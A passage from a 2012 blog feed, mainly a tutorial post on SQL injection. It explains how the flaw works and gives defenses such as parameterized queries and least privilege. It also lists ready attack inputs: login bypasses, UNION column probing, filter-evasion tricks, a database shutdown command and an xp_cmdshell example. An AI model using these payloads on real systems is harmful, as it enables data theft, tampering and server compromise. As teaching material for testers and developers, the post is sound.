</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/2647167378800176197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/08/configuring-tomcat-for-ssl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/2647167378800176197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/2647167378800176197'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/08/configuring-tomcat-for-ssl.html' title='Configuring Tomcat for SSL'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-99627391157120453</id><published>2012-08-18T22:48:00.000-07:00</published><updated>2012-08-18T22:48:00.044-07:00</updated><title type='text'>Security: SQL Injection</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
SQL Injection flaws are introduced when dynamic database queries utilize user supplied input in some form.&lt;br /&gt;
&lt;br /&gt;
Most of the current web applications follow an MVC architecture where the Model typically represents a relational database. The flaws within this design are easily exploitable and could cause data loss, privacy and potential financial loss.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&lt;span style=&quot;background-color: white; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto;&quot;&gt;SQL injection is a&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Code_injection&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0b0080; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto; text-decoration: none;&quot; title=&quot;Code injection&quot;&gt;code injection&lt;/a&gt;&lt;span style=&quot;background-color: white; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto;&quot;&gt;&amp;nbsp;technique that exploits a&amp;nbsp;&lt;/span&gt;security vulnerability&lt;span style=&quot;background-color: white; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto;&quot;&gt;&amp;nbsp;in a website&#39;s software.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto;&quot;&gt;Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application.&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: sans-serif; line-height: 19px; text-align: -webkit-auto;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Simple Example:&lt;br /&gt;
&lt;br /&gt;
Let&#39;s say we have the below query to retrieve the users from accounts table:&lt;br /&gt;
select name, salary from accounts where  userid=&#39;inputdata&#39; and accessid=&#39;123&#39;;&lt;br /&gt;
&lt;br /&gt;
Now if the inputdata is sent as is without an validation, a malicious user could send the value as &lt;br /&gt;
:&lt;br /&gt;
someuser&#39; OR 1=1 --&lt;br /&gt;
&lt;br /&gt;
This would generate the below query:&lt;br /&gt;
select name, salary from accounts where  userid=&#39;someuser&#39; OR 1=1 -- and accessid=&#39;123&#39;;&lt;br /&gt;
&lt;br /&gt;
This effectively subverts all our checks and the query would end up returning the names and salaries of all the users in the accounts table.&amp;nbsp;&lt;b&gt;&lt;i&gt;Definitely not ideal !&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;For Select statements, the injection is usually after the where clause but could be used at ORDER by or names of tables and columns.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;For INSERT statement, since the parameters values and types are unknown, we can keep adding fields to the VALUES clause until it works:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;INSERT INTO users (username, password, ID, privs) VALUES (&#39;ddd&#39;,&#39;pwd&#39;, 1111, 1)&lt;/li&gt;
&lt;li&gt;Example:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;junk&#39;)--&lt;/li&gt;
&lt;li&gt;junk&#39;, 1)--&lt;/li&gt;
&lt;li&gt;junk&#39;, 1, 1)--&lt;/li&gt;
&lt;li&gt;junk&#39;, 1, 1, 1)--&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;An integer is implicitly casted to a string and 2000 to a date so we can use these at each position.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;It&#39;s possible that a field in the Select clause that is vulnerable to SQL injection is also used in subsequent UPDATE statements and this could cause problems downstream. So any SQL Injection verification should keep that in mind.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;UPDATE accounts SET password=&#39;newpwd&#39; WHERE user = &#39;me&#39; and password= &#39;pwd&#39;&lt;/li&gt;
&lt;li&gt;As described for select statements, update and DELETE statements are equally vulnerable to SQL Injection.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Quick steps to verify if an application is vulnerable:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Verify if the app is interacting with a backend DB by submitting &quot;%&quot; in a search parameter to see if additional results are being returned.&lt;/li&gt;
&lt;li&gt;Try with single and two single quotes in user supplied data to see how the application responds. Single quote normally results in a a&amp;nbsp;SQL&amp;nbsp;error and you can study the error message.&amp;nbsp; two single&amp;nbsp;quotes are treated by the DB as a literal single quote so the error might&amp;nbsp;disappear&amp;nbsp;and indicate that the DB processed this as valid input. This might signal SQL Injection vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;While testing for SQl Injection vulnerability(especially without using an intercepting proxy), we may need to encode the params to pass them to the DB layer.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;If you fail to encode problem characters correctly, you may inval-idate the entire request or submit data you did not intend to.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;User input values that are used in table or column names or ORDER by clauses don&#39;t need a single quote.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;If SQL injection vulnerability occurs in a SELECT statement, you can often employ the UNION operator to perform a second query, and combine the results with those of the first.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;But the &lt;b&gt;&lt;i&gt;two result sets must have the same structure&lt;/i&gt;&lt;/b&gt;. i.e. they must contain the same number of columns, which have the same or compatible data types, appearing in the same order.&lt;/li&gt;
&lt;li&gt;A persistent attacker can first figure out the number of columns by using &quot;SELECT NULL&quot; and then try different data types.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Database metadata can be used to further gather information about the tables and columns:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;information_schema table can be used for MS-SQL, MySQL etc&lt;/li&gt;
&lt;li&gt;all_tab_columns can be used for Oracle.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;It is possible to bypass filters at the application level by using ASCII codes for characters ( if single quote is being blocked). If comment is blocked then we can construct in a way to avoid breaking the syntax.&lt;/li&gt;
&lt;li&gt;It is also possible to bypass blacklist based validations by using null charater  etc.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;You can check if t&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Fingerprinting the Database:&lt;/b&gt;&amp;nbsp;The below shows how the string services could be constructed on the common types of database:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Oracle: ‘serv’?‘ices’ &amp;nbsp;( send&amp;nbsp;&#39;||&#39;London as a String parameter and the result is same)&lt;/li&gt;
&lt;li&gt;MS-SQL: ‘serv’+‘ices’&amp;nbsp;( send&amp;nbsp;&#39;+&#39;London as a String parameter and the result is same)&lt;/li&gt;
&lt;li&gt;MySQL: ‘serv’ ‘ices’ (note the space)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;Second-Order SQL Injection&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;TODO&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Many applications handle data safely when it is first inserted into the database. Once data is stored in the database, it may later be processed in unsafe ways, either by the application itself or by other back-end processes.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Advanced Exploitation&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;TODO&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
attacker could turn off an MS-SQL database with the shutdown command:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; shutdown --&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Beyond SQL Injection: Escalating the Database Attack&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;MS-SQL&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Perhaps the most notorious piece of database functionality that an attacker can misuse is the&lt;b&gt; xp_cmdshell&lt;/b&gt; stored procedure, which is built into MS-SQL by default. This stored procedure allows users with DBA permissions to execute operating system commands in the same way as the cmd.exe command prompt. For example:master..xp_cmdshell &#39;ipconfig &amp;gt; foo.txt&#39;&lt;/div&gt;
&lt;div&gt;
The opportunity for an attacker to misuse this functionality is huge. He can perform arbitrary commands, pipe the results to local files, and read them back. He can open out-of-band network connections back to himself and create a backdoor command and communications channel. Because MS-SQL runs by default as Localsystem, the attacker typically can fully compromise the underlying operating system, performing arbitrary actions. MS-SQL contains a wealth of other extended stored procedures, such as &lt;b&gt;xp_regread&lt;/b&gt; and &lt;b&gt;xp_regwrite&lt;/b&gt;, that can be used to perform powerful actions within the registry of the Windows operating system.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;TODO&amp;gt;&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Preventing SQL Injection&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
Despite the complex and dangerous attacks that can be mounted by SQL injection,&amp;nbsp;it is in general one of the easier vulnerabilities to prevent.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
But merely, escaping single quotation marks by doubling them will not prevent SQL Injection. It fails in the below two situations:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;If numeric user-supplied data is being embedded into SQL queries, this is not usually encapsulated within single quotation marks. Hence, an attacker can break out of the data context and begin entering arbitrary SQL without the need to supply a single quotation mark.&lt;/li&gt;
&lt;li&gt;In second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that were doubled initially return to their original form when the data is reused.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Escaping Dynamic Queries&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;One can use escaping routines for specific database:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;encodeForSQL&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Encode input for use in a SQL query, according to the selected codec (appropriate codecs include the MySQLCodec and OracleCodec). This method is not recommended. The use of the PreparedStatement interface is the preferred approach. However, if for some reason this is impossible, then this method is provided as a weaker alternative. The best approach is to make sure any single-quotes are double-quoted. Another possible approach is to use the {escape} syntax described in the JDBC specification in section 1.5.6. However, this syntax does not work with all drivers, and requires modification of all queries.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
While stored procedure can have security and performance benefits, it doesn&#39;t prevent SQL Injection in all cases. Consider:&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A SP invoked in an unsafe way using user-supplied input.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;exec sp_createUser &#39;johm&#39;, &#39;pwd&#39;&lt;/li&gt;
&lt;li&gt;This statement may be just as vulnerable as a simple INSERT statement. For example, an attacker may supply the following password:&lt;/li&gt;
&lt;li&gt;abc&#39;; exec some_malicious --&lt;/li&gt;
&lt;li&gt;which causes the application to perform the batch query&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
How about parameterized Queries?&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
In the case of Parameterized Queries, the query structure has already been defined, the relevant API handles any type of placeholder data in a safe manner, so it is always interpreted as data rather than part of the statement&#39;s structure.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
A few things to keep in mind though:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Be consistent and use PQs all throughout the application.&lt;/li&gt;
&lt;li&gt;Don&#39;t use any parameter concatenation to construct a PQ.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;(Rare but possible). Some applications accept parameters for table and column names. Ensure white list validation is done, along with length and whitespace restrictions and also allowing only alphanumeric characters.&lt;/li&gt;
&lt;li&gt;Parameter placeholders cannot be used for any other parts of the query, such as the ASC or DESC keywords that appear within an ORDER BY clause, or any other SQL keyword, since these form part of the query structure.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Defense in Depth&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;lowest possible level of privileges when accessing the database. An application can even use multiple accounts i.e. one for read only and one for read write.&amp;nbsp;This mitigates risks that a sql injection flaws.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;Unnecessary database functions should be removed/disabled. A skilled and determined attacker may be able to recreate some required functions but this is not usually straightforward,&lt;/li&gt;
&lt;li&gt;All vendor-issued security patches should be applied in a timely way (They should be tested first).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;TIPS&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;If this character replacement is turned on, the &amp;amp; character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.&lt;/li&gt;
&lt;li&gt;But It will also disable variables ( &amp;nbsp;&amp;amp; is used for variables as well). Best option is to:&lt;/li&gt;
&lt;li&gt;You need SET DEFINE ON to make variables work&lt;/li&gt;
&lt;li&gt;And SET ESCAPE ON to escape uses of &amp;amp;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Questions/Answers&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
1.You are trying to exploit a SQL injection flaw by performing a UNION attack to retrieve data. You do not know how many columns the original query returns. How can you find this out?&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
2.You have located a SQL injection vulnerability in a string parameter. You believe the database is either MS-SQL or Oracle, but you can&#39;t retrieve any data or an error message to confirm which database is running. How can you find this out?&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
3.You have submitted a single quotation mark at numerous locations throughout the application. From the resulting error messages you have diagnosed several potential SQL injection flaws. Which one of the following would be the safest location to test whether more crafted input has an effect on the application&#39;s processing?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Registering a new user&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Updating your personal details&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Unsubscribing from the service&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
4.You have found a SQL injection vulnerability in a login function, and you try to use the input ‘ or 1=1— to bypass the login. Your attack fails, and the resulting error message indicates that the -- characters are being stripped by the application&#39;s input filters. How could you circumvent this problem?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
5.You have found a SQL injection vulnerability but have been unable to carry out any useful attacks, because the application rejects any input containing whitespace. How can you work around this restriction?&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
6.The application is doubling up all single quotation marks within user input before these are incorporated into SQL queries. You have found a SQL injection vulnerability in a numeric field, but you need to use a string value in one of your attack payloads. How can you place a string in your query without using any quotation marks?&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
7.In some rare situations, applications construct dynamic SQL queries from user-supplied input in a way that cannot be made safe using parameterized queries. When does this occur?&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
8.You have escalated privileges within an application such that you now have full administrative access. You discover a SQL injection vulnerability within a user administration function. How can you leverage this vulnerability to further advance your attack?&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
9.You are attacking an application that holds no sensitive data and contains no authentication or access control mechanisms. In this situation, how should you rank the significance of the following vulnerabilities?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
SQL injection&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
XPath injection&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
OS command injection&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
You are probing an application function that enables you to search personnel details. You suspect that the function is accessing either a database or an Active Directory back end. How could you try to determine which of these is the case?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
======================================================================================&lt;/div&gt;
&lt;div&gt;
1.You can determine the number of columns in two easy ways. First, you can SELECT the type-neutral value NULL from each column, increasing the number of columns until the application returns data, indicating that the correct number of columns were specified, for example:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; UNION SELECT NULL--&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; UNION SELECT NULL, NULL--&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; UNION SELECT NULL, NULL, NULL--&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Note that on Oracle you will need to add FROM DUAL after the final NULL in each case.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Second, you can inject ORDER BY clauses and increment the specified column until an error occurs, indicating that an invalid column was requested:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; ORDER BY 1--&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; ORDER BY 2--&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39; ORDER BY 3--&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
2.An easy way to confirm the database type is to use database-specific string concatenation syntax to construct some benign input within the query you control. For example, if the original value of the parameter is London you can submit the following items in turn:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39;||&#39;London&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39;+&#39;London&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If the first results in the same behavior as the original, the database is probably Oracle. If the second results in the same behavior, the database is probably MS-SQL.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
3.While it may seem counterintuitive, the user registration function is probably the safest. Registration functions normally use INSERT statements, which are unlikely to affect other records if you modify them. A function to update personal records is probably using conditional UPDATE statements. If you inject a payload like &#39; or 1=1-- you may cause all records in the table to be modified. Similarly, the function to unsubscribe is probably using conditional DELETE statements, and could impact on other users if you are not careful.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
That said, it is impossible to be completely certain in advance which statements are being carried out by any kind of functionality, and you should advise the application owner of the risks before you perform the test.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
4.An easy way to achieve the same effect without using comment characters is with the input &#39; or &#39;a&#39;=&#39;a.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
5.You can SQL comment characters to separate keywords and other items in your injected payloads, for example:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&#39;/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
6.You can use the CHAR command to return a string value from a numeric ASCII character code. For example, on Oracle the string FOO can be represented as:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
CHAR(70)||CHAR(79)||CHAR(79)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
7.This situation arises where user-supplied input is being placed into other elements of a query, such as table and column names, rather than the query’s parameters. A parameterized query cannot be precompiled with placeholders for these items, so a different solution needs to be used, probably based on very stringent input validation.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
8.Because you already have administrative access, it is likely that you can retrieve any data you desire using the application itself, meaning that a SQL injection attack to retrieve the application’s own data may be redundant. However, you can still leverage the attack to access any data relating to other applications that is held within the same database, or to escalate privileges within the database or the underlying operating system, to compromise the database server and extend your attack into the wider internal network.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
9.XPath injection can only be used to retrieve data from the targeted XML file. Hence, if the application contains no sensitive data this is likely to be a low impact issue. Similarly, SQL injection flaws may not enable you to extract any sensitive data from the database. However, they can sometimes be leveraged to escalate privileges within the database and develop your attack in other ways. Depending on the situation, SQL injection may be a more significant vulnerability. OS command injection, on the other hand, is almost always a high impact vulnerability, because it usually enables you to directly compromise the underlying server and use it as the launch point for further attacks against internal systems.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
10.If the function is accessing a database, then submitting the SQL wildcard % as the search query is likely to return a large number of records. Similarly, if the function is accessing an Active Directory, then submitting the wildcard * is likely to return a large number of records. Neither wildcard should have the same effect on the other system.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/99627391157120453/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/08/security-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/99627391157120453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/99627391157120453'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/08/security-sql-injection.html' title='Security: SQL Injection'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-7905208323254778488</id><published>2012-07-28T19:47:00.000-07:00</published><updated>2012-07-28T19:47:00.148-07:00</updated><title type='text'>Security Conferences that I find interesting - 2012</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;border: 0px; clear: both; margin: 0px 0px 2px; outline: 0px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;&quot;&gt;



&lt;/h2&gt;
&lt;h2 style=&quot;border: 0px; clear: both; margin: 0px 0px 2px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;



&lt;span style=&quot;background-color: white; text-align: left;&quot;&gt;&lt;a href=&quot;http://www.appsecusa.org/&quot; target=&quot;_blank&quot;&gt;OWASP AppSec USA 2012 — LASCON Edition, TX&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
Austin, TX at the Hyatt Regency Hotel Downtown&lt;br /&gt;
Training: October 23rd-24th — Conference Sessions: October 25th-26th&lt;br /&gt;
&lt;br /&gt;
OWASP AppSec conferences bring together industry, government, security researchers, and practitioners to discuss the state of the art in application security.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;a href=&quot;http://www.rsaconference.com/events/2012/usa/index.htm&quot; target=&quot;_blank&quot;&gt;RSA Conference&lt;/a&gt;&amp;nbsp;&lt;/h2&gt;
&lt;div style=&quot;font-family: arial, helvetica, sans-serif; font-size: 15px; margin-right: 60px; text-align: -webkit-auto;&quot;&gt;
is helping drive the information security agenda worldwide with annual industry events in the U.S., Europe and Asia. Throughout its history, RSA Conference has consistently attracted the world&#39;s best and brightest in the field, creating opportunities for conference attendees to learn about IT security&#39;s most important issues through first-hand interactions with peers, luminaries and emerging and established companies. As the IT security field continues to grow in importance and influence, RSA Conference plays an integral role in keeping security professionals across the globe connected and educated.&lt;/div&gt;
&lt;div style=&quot;font-family: arial, helvetica, sans-serif; font-size: 15px; margin-right: 60px; text-align: -webkit-auto;&quot;&gt;
RSA developed the RSA Conference in 1991 as a forum for cryptographers to gather and share the latest knowledge and advancements in the area of Internet security. Today, the RSA Conference and related, RSA Conference branded activities, are still managed by RSA, the Security Division of EMC, with the support of the industry. RSA Conference event programming is judged and developed by information security practitioners and other related professionals.&lt;/div&gt;
&lt;div style=&quot;font-family: arial, helvetica, sans-serif; font-size: 15px; margin-right: 60px; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
